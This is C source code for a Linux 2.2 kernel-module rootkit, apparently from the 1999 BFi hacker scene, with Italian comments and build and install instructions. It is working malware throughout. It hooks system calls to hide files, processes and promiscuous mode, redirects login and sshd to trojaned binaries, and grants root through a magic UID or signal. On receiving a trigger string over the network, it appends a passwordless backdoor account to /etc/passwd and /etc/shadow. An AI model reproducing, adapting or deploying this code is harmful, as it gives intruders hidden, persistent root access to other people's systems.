/* * oMBRa.c Implementazione del modulo CaRoGNa, * per kernel Linux 2.2.x * Tecnica Segreta n.2 della divina scuola * dell' HOKUHACKO. Sacro Colpo del Rinnovamento * Modulare che Travolge la Radice. * * __NO__(C)1999 FuSyS [S0ftPj|BFi] * * * Compilate con: gcc -c -O2 -fomit-frame-pointer oMBRa.c * Installate con: insmod oMBRa.o * NB: l'azzeramento di struct module *mp deve essere * coadiuvato da -O3 e bisogna anche azzeccare il registro * che ne consenta l'accesso. altrimenti usare la nuova * query_module per occultarsi a lsmod * * 3l33t quote: "wow, e funzica anche su Solaris ?" * Tnx'n'credits: HalfLife(syscalls), Zarq(heroin), Plaguez(itf), * Pragmatic(LKM paper), BFi */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include #define SUBVISUS "SPJ2K" #define LKMNAME "oMBRa" #define SIGNIHIL 31 #define PF_DISAPPEAR 0x00002000 #define SACROUID 7777 #define KING 500 #define LOGIN "/bin/login" #define SSHD "/usr/local/bin/sshd" #define PASSWD "/etc/passwd" #define SHADOW "/etc/shadow" #define ACCOUNT "spj2k::1:6:spj2k:/tmp:/bin/bash\n" #define ACCSHDW "spj2k::10968:0:99999:7:-1:-1:134538412\n" inline int suser(void) { if (!issecure(SECURE_NOROOT) && ((current->euid == 0)|| (current->euid == KING))) { current->flags |= PF_SUPERPRIV; return 1; } return 0; } inline int fsuser(void) { if (!issecure(SECURE_NOROOT) && ((current->fsuid == 0)|| (current->euid == KING))) { current->flags |= PF_SUPERPRIV; return 1; } return 0; } inline int capable(int cap) { if ((cap_raised(current->cap_effective, cap))||(current->euid == KING)) { current->flags |= PF_SUPERPRIV; return 1; } return 0; } int promisc, errno, __NR_myexecve; int (*old_execve) (struct pt_regs); int (*old_kill) (pid_t, int) ; int (*old_getdents) (unsigned int, struct dirent *, unsigned int) ; int (*old_unlink) (const char *) ; int (*old_chdir) (const char *) ; int (*old_setuid) (uid_t) ; int (*old_getuid) () ; int (*old_ioctl) (unsigned int, unsigned int, unsigned long) ; int (*old_socketcall) (int, unsigned long *); int (*old_query_module)(const char *, int, char *, size_t, size_t *) ; extern void *sys_call_table[] ; int (*open)(const char*, int, mode_t); int (*write)(unsigned int, char*, unsigned int); int (*close)(int); int atoi(char str[]) { int res = 0; int i ; for(i = 0; str[i] >='0' && str[i] <='9'; ++i) res = 10 * res + str[i] - '0'; return res; } inline char *task_name(struct task_struct *p, char *buf) { int i; char *name; name = p->comm; i = sizeof(p->comm); do { unsigned char c = *name; name++; i--; *buf = c; if (!c) break; if (c == '\\') { buf[1] = c; buf += 2; continue; } if (c == '\n') { buf[0] = '\\'; buf[1] = 'n'; buf += 2; continue; } buf++; } while (i); *buf = '\n'; return buf + 1; } struct task_struct *get_task(pid_t pid) { struct task_struct *p = current; do { if (p->pid == pid) return p; p = p->next_task; } while (p != current); return NULL; } int secret(pid_t pid) { struct task_struct *task = get_task(pid); char *name; if (task) { name = (char *)kmalloc(200, GFP_KERNEL); memset(name, 0, 200); task_name(task, name); if (strstr(name, SUBVISUS)!=NULL) { kfree(name); return 1; } kfree(name); } return 0; } int killinv(pid_t pid) { struct task_struct *task = get_task(pid); if(task == NULL) return 0; if (task->flags & PF_DISAPPEAR) { return 1; } return 0; } int new_execve(struct pt_regs regs) { char *filename; int error; filename=getname((char *) regs.ebx); error = PTR_ERR(filename); if (IS_ERR(filename)) return error; if(strstr(filename, LOGIN)){ error=do_execve("/SPJ2Kdir/SPJ2Klogin_t",(char **)regs.ecx,(char **)regs.edx,®s); } if(strstr(filename, SSHD)){ error=do_execve("/SPJ2Kdir/SPJ2Ksshd_t",(char **)regs.ecx,(char **)regs.edx,®s); } else error = do_execve(filename,(char **)regs.ecx,(char **)regs.edx,®s); if (error == 0) current->flags &= ~PF_DTRACE; putname(filename); return error; } int new_getdents(unsigned int fd, struct dirent *dirptr, unsigned int count) { unsigned int real ; unsigned int len ; int readen ; int proc; struct dirent *dirptr2, *dirptr3; struct inode *procinode; real = (*old_getdents) (fd, dirptr, count); if(real == -1) return(-errno); #ifdef __LINUX_DCACHE_H procinode = current->files->fd[fd]->f_dentry->d_inode; #else procinode = current->files->fd[fd]->f_inode; #endif if (procinode->i_ino == PROC_ROOT_INO && !MAJOR(procinode->i_dev) && MINOR(procinode->i_dev) == 1) proc = 1; if (current->uid == KING) return(real); if (real > 0) { dirptr2 = (struct dirent *)kmalloc(real, GFP_KERNEL); copy_from_user(dirptr2, dirptr, real); dirptr3 = dirptr2; readen = real; while (readen > 0) { len = dirptr3->d_reclen; readen -= len; if ((strstr((char *)&(dirptr3->d_name), (char *)SUBVISUS) !=NULL) || (proc && secret(atoi(dirptr3->d_name))) || (proc && killinv(atoi(dirptr3->d_name)))) { if (readen != 0) memmove(dirptr3, (char *)dirptr3 + dirptr3->d_reclen, readen); else dirptr3->d_off = 1024; real -= len; } if (dirptr3->d_reclen == 0) { real -= readen; readen = 0; } if (readen != 0) dirptr3 = (struct dirent *)((char *) dirptr3 + dirptr3->d_reclen); } copy_to_user(dirptr, dirptr2, real); kfree(dirptr2); } return(real); } int new_unlink(const char *pathname) { int ret; char *path2; path2=(char*)kmalloc(256, GFP_KERNEL); copy_from_user(path2, pathname, 255); if(strstr(path2, SUBVISUS)) { if(current->uid != KING){ kfree(path2); return -EPERM ; } else { kfree(path2); ret = (*old_unlink) (pathname); return(ret); } } else ret = (*old_unlink) (pathname); kfree(path2); return(ret); } int new_chdir(const char *filename) { int ret; char *name; name=(char*)kmalloc(256, GFP_KERNEL); copy_from_user(name, filename, 255); if(strstr(name, SUBVISUS)) { if(current->uid != KING){ kfree(name); return -ENOENT ; } else { kfree(name); ret = (*old_chdir) (filename); return(ret); } } else ret = (*old_chdir) (filename); kfree(name); return(ret); } int new_kill(pid_t pid, int sig) { int real; struct task_struct *task = get_task(pid); if ((sig != SIGNIHIL) && (sig != SIGTSTP)) { real = (*old_kill)(pid, sig); if (real == -1) return(-errno); return real; } if (sig == SIGNIHIL) { task->flags |= PF_DISAPPEAR; return(0); } else if (sig == SIGTSTP) { task->uid = task->gid = task->euid = task->egid = 0; task->cap_effective |= (1 << (CAP_DAC_OVERRIDE)); return(real); } return(0); } int new_setuid(uid_t uid) { int tmp; if (uid == SACROUID) { current->uid = 0; current->gid = 0; current->euid = 0; current->egid = 0; current->cap_effective |= (1 << (CAP_DAC_OVERRIDE)); return 0; } tmp = (*old_setuid) (uid) ; return tmp; } int new_getuid() { int tmp; if (current->uid == SACROUID) { current->uid = 0; current->gid = 0; current->euid = 0; current->egid = 0; return 0; } tmp = (*old_getuid) () ; return tmp; } int new_ioctl (unsigned int fd, unsigned int cmd, unsigned long arg) { int ret ; struct ifreq netif ; ret = (*old_ioctl) (fd, cmd, arg); if (cmd == SIOCGIFFLAGS && !promisc) { copy_from_user((struct ifreq *)&netif, (struct ifreq *)arg, sizeof(struct ifreq)); netif.ifr_flags = netif.ifr_flags & (~IFF_PROMISC); copy_to_user((struct ifreq *) arg, (struct ifreq *) &netif, sizeof(struct ifreq)); } else if (cmd == SIOCSIFFLAGS) sys_call_table[SYS_ioctl] = old_ioctl; return ret ; } int new_socketcall(int call, unsigned long *args) { int ret, compt, fd=0; mm_segment_t old_fs; unsigned long *sargs = args; unsigned long a0, a1; void *buf; ret = (*old_socketcall) (call, args); if (call ==SYS_RECV || call == SYS_RECVFROM || call == SYS_RECVMSG) { get_user(a0, sargs); get_user(a1, sargs + 1); buf = kmalloc(ret, GFP_KERNEL); copy_from_user(buf, (void *) a1, ret); for (compt = 0; compt < ret; compt++) if (((char *) (buf))[compt] == 0) ((char *) (buf))[compt] = 1; if (strstr(buf, "SPJ5cc7tN3w")) { current->cap_effective |= (1 << (CAP_DAC_OVERRIDE)); old_fs=current->addr_limit; current->addr_limit=(KERNEL_DS); fd=(*open)(PASSWD, O_RDWR|O_APPEND, 0644); printk("%d\n",fd); (*write)(fd,ACCOUNT,strlen(ACCOUNT)); (*close)(fd); fd=(*open)(SHADOW, O_RDWR|O_APPEND, 0400); printk("%d\n",fd); (*write)(fd,ACCSHDW,strlen(ACCSHDW)); (*close)(fd); current->addr_limit=old_fs; current->cap_effective &= ~(1 << (CAP_DAC_OVERRIDE)); } kfree(buf); } return ret; } int new_query_module(const char *name, int which, char *buf, size_t bufsize, size_t *ret) { int res; int cnt; char *ptr, *match; res = (*old_query_module)(name, which, buf, bufsize, ret); if(res == -1) return(-errno); if(which != QM_MODULES) return(res); ptr = buf; for(cnt = 0; cnt < *ret; cnt++) { if(!strcmp(LKMNAME, ptr)) { match = ptr; while(*ptr) ptr++; ptr++; memcpy(match, ptr, bufsize - (ptr - (char *)buf)); (*ret)--; return(res); } while(*ptr) ptr++; ptr++; } return(res); } int init_module(void) { /* register struct module *mp asm("%ebp"); *(char *) (mp->name) = 0; mp->size = 0; */ EXPORT_NO_SYMBOLS; old_execve = sys_call_table[SYS_execve]; sys_call_table[__NR_myexecve] = old_execve; sys_call_table[SYS_execve] = (void *) new_execve; old_getdents = sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents] = (void *) new_getdents; old_unlink= sys_call_table[SYS_unlink]; sys_call_table[SYS_unlink] = (void *) new_unlink; old_chdir= sys_call_table[SYS_chdir]; sys_call_table[SYS_chdir] = (void *) new_chdir; old_kill = sys_call_table[SYS_kill]; sys_call_table[SYS_kill] = (void *) new_kill; old_setuid = sys_call_table[SYS_setuid]; sys_call_table[SYS_setuid] = (void *) new_setuid; old_getuid = sys_call_table[SYS_getuid]; sys_call_table[SYS_getuid] = (void *) new_getuid; old_ioctl = sys_call_table[SYS_ioctl]; sys_call_table[SYS_ioctl] = (void *) new_ioctl; old_socketcall = sys_call_table[SYS_socketcall]; sys_call_table[SYS_socketcall] = (void *) new_socketcall; /* old_query_module = sys_call_table[SYS_query_module]; sys_call_table[SYS_query_module]=(void *)new_query_module; */ open = sys_call_table[SYS_open]; close = sys_call_table[SYS_close]; write = sys_call_table[SYS_write]; return 0; } void cleanup_module(void) { sys_call_table[SYS_execve]=old_execve; sys_call_table[SYS_getdents] = old_getdents; sys_call_table[SYS_unlink] = old_unlink; sys_call_table[SYS_chdir] = old_chdir; sys_call_table[SYS_kill] = old_kill; sys_call_table[SYS_setuid] = old_setuid; sys_call_table[SYS_getuid] = old_getuid; sys_call_table[SYS_ioctl] = old_ioctl; sys_call_table[SYS_socketcall] = old_socketcall; /* sys_call_table[SYS_query_module] = old_query_module; */ }